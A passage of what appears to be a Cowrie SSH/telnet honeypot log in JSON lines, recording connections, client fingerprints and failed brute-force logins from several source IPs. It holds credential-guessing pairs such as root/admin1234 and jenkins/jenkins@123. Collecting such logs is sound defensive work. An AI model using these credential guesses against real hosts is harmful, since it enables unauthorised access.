failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:23.844755Z","src_ip":"179.61.232.244","session":"bf0102267de3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:79:07:7c:20:47:37:3c:a3:59:85:d9:11:bc:77:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyW83/b2Ye2vFuT0oNNBGehf5vSAJnk8mT9fwDShZgS8OCaQ1x6E9URxv1sDQqzKCYUIcMRe8nEQOSWjguFbt4UyOax/sCXaYTOgeAVkrphwn+0c1PpX2UEi37mJ+q3DRDvPtnilYm/Rr+29p5qRR53Hy30WxbKDeJn8/2hzmH8SMHJT9fwZ/MPKtpfWLspXXD1d7iJIwHC5AMp56/6PcDEw0ztpdnqfghAmFnflY/eHEuwioVhxF4decFQhR1qVPe0V8y/d9UYoH8wROplxXvTuX6SpQEwEt1Z4Dq7eVdHeASN2eM5A72U23FdyBJdKfi3x9sJmUothu/LTPQPPcTQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:79:07:7c:20:47:37:3c:a3:59:85:d9:11:bc:77:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:23.873419Z","src_ip":"179.61.232.244","session":"bf0102267de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:79:07:7c:20:47:37:3c:a3:59:85:d9:11:bc:77:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyW83/b2Ye2vFuT0oNNBGehf5vSAJnk8mT9fwDShZgS8OCaQ1x6E9URxv1sDQqzKCYUIcMRe8nEQOSWjguFbt4UyOax/sCXaYTOgeAVkrphwn+0c1PpX2UEi37mJ+q3DRDvPtnilYm/Rr+29p5qRR53Hy30WxbKDeJn8/2hzmH8SMHJT9fwZ/MPKtpfWLspXXD1d7iJIwHC5AMp56/6PcDEw0ztpdnqfghAmFnflY/eHEuwioVhxF4decFQhR1qVPe0V8y/d9UYoH8wROplxXvTuX6SpQEwEt1Z4Dq7eVdHeASN2eM5A72U23FdyBJdKfi3x9sJmUothu/LTPQPPcTQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:23.876911Z","src_ip":"179.61.232.244","session":"bf0102267de3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:23.905048Z","src_ip":"179.61.232.244","session":"bf0102267de3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58596,"dst_ip":"10.17.0.5","dst_port":22,"session":"7240fbec2b5d","protocol":"ssh","message":"New connection: 45.156.87.147:58596 (10.17.0.5:22) [session: 7240fbec2b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:26.129465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:26.134292Z","src_ip":"45.156.87.147","session":"7240fbec2b5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:26.219024Z","src_ip":"45.156.87.147","session":"7240fbec2b5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:26.474372Z","src_ip":"45.156.87.147","session":"7240fbec2b5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":34558,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b74f7c9429f","protocol":"ssh","message":"New connection: 103.27.238.116:34558 (159.203.135.109:22) [session: 1b74f7c9429f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:26.569310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:26.573465Z","src_ip":"103.27.238.116","session":"1b74f7c9429f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42464,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f71e7174934","protocol":"ssh","message":"New connection: 91.92.42.227:42464 (10.17.0.5:22) [session: 7f71e7174934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:26.629681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:26.684816Z","src_ip":"91.92.42.227","session":"7f71e7174934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:26.759431Z","src_ip":"91.92.42.227","session":"7f71e7174934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:26.825368Z","src_ip":"103.27.238.116","session":"1b74f7c9429f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37068,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b638bb5506a","protocol":"telnet","message":"New connection: 172.81.62.90:37068 (159.203.135.109:23) [session: 8b638bb5506a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:26.945839Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:27.562576Z","src_ip":"45.156.87.147","session":"7240fbec2b5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pasha777","message":"login attempt [root/pasha777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:27.582614Z","src_ip":"103.27.238.116","session":"1b74f7c9429f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"12345","message":"login attempt [main/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:27.755095Z","src_ip":"91.92.42.227","session":"7f71e7174934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:28.839887Z","src_ip":"103.27.238.116","session":"1b74f7c9429f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:28.846946Z","src_ip":"91.92.42.227","session":"7f71e7174934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37072,"dst_ip":"159.203.135.109","dst_port":23,"session":"acb304b1da1a","protocol":"telnet","message":"New connection: 172.81.62.90:37072 (159.203.135.109:23) [session: acb304b1da1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:28.961317Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55926,"dst_ip":"10.17.0.5","dst_port":22,"session":"05001c1e9eed","protocol":"ssh","message":"New connection: 45.156.87.147:55926 (10.17.0.5:22) [session: 05001c1e9eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:31.771059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:31.775131Z","src_ip":"45.156.87.147","session":"05001c1e9eed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:31.854937Z","src_ip":"45.156.87.147","session":"05001c1e9eed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:32.106751Z","src_ip":"45.156.87.147","session":"05001c1e9eed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:33.193898Z","src_ip":"45.156.87.147","session":"05001c1e9eed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42560,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f5a72c4d7aa","protocol":"ssh","message":"New connection: 91.92.42.227:42560 (10.17.0.5:22) [session: 2f5a72c4d7aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:33.529421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:33.724605Z","src_ip":"91.92.42.227","session":"2f5a72c4d7aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:33.727934Z","src_ip":"91.92.42.227","session":"2f5a72c4d7aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"Aa123456.","message":"login attempt [debian/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:35.198923Z","src_ip":"91.92.42.227","session":"2f5a72c4d7aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:36.612794Z","src_ip":"91.92.42.227","session":"2f5a72c4d7aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55942,"dst_ip":"10.17.0.5","dst_port":22,"session":"94632efccff8","protocol":"ssh","message":"New connection: 45.156.87.147:55942 (10.17.0.5:22) [session: 94632efccff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:37.692206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:37.696619Z","src_ip":"45.156.87.147","session":"94632efccff8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:37.782449Z","src_ip":"45.156.87.147","session":"94632efccff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"123456789","message":"login attempt [sam/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:38.175312Z","src_ip":"45.156.87.147","session":"94632efccff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.83633041381836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:39.234432Z","src_ip":"102.37.220.188","session":"7a7f7421298b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:39.259825Z","src_ip":"45.156.87.147","session":"94632efccff8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39536,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9ec7816cda9","protocol":"ssh","message":"New connection: 91.92.42.227:39536 (10.17.0.5:22) [session: a9ec7816cda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:40.096475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:40.467618Z","src_ip":"91.92.42.227","session":"a9ec7816cda9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:40.469681Z","src_ip":"91.92.42.227","session":"a9ec7816cda9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:42.693303Z","src_ip":"91.92.42.227","session":"a9ec7816cda9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":44150,"dst_ip":"159.203.135.109","dst_port":23,"session":"4508c76b2ae3","protocol":"telnet","message":"New connection: 102.37.220.188:44150 (159.203.135.109:23) [session: 4508c76b2ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:43.420545Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48706,"dst_ip":"10.17.0.5","dst_port":22,"session":"e53c7ca887ca","protocol":"ssh","message":"New connection: 45.156.87.147:48706 (10.17.0.5:22) [session: e53c7ca887ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:43.636690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:43.640932Z","src_ip":"45.156.87.147","session":"e53c7ca887ca","protocol":"ssh"}
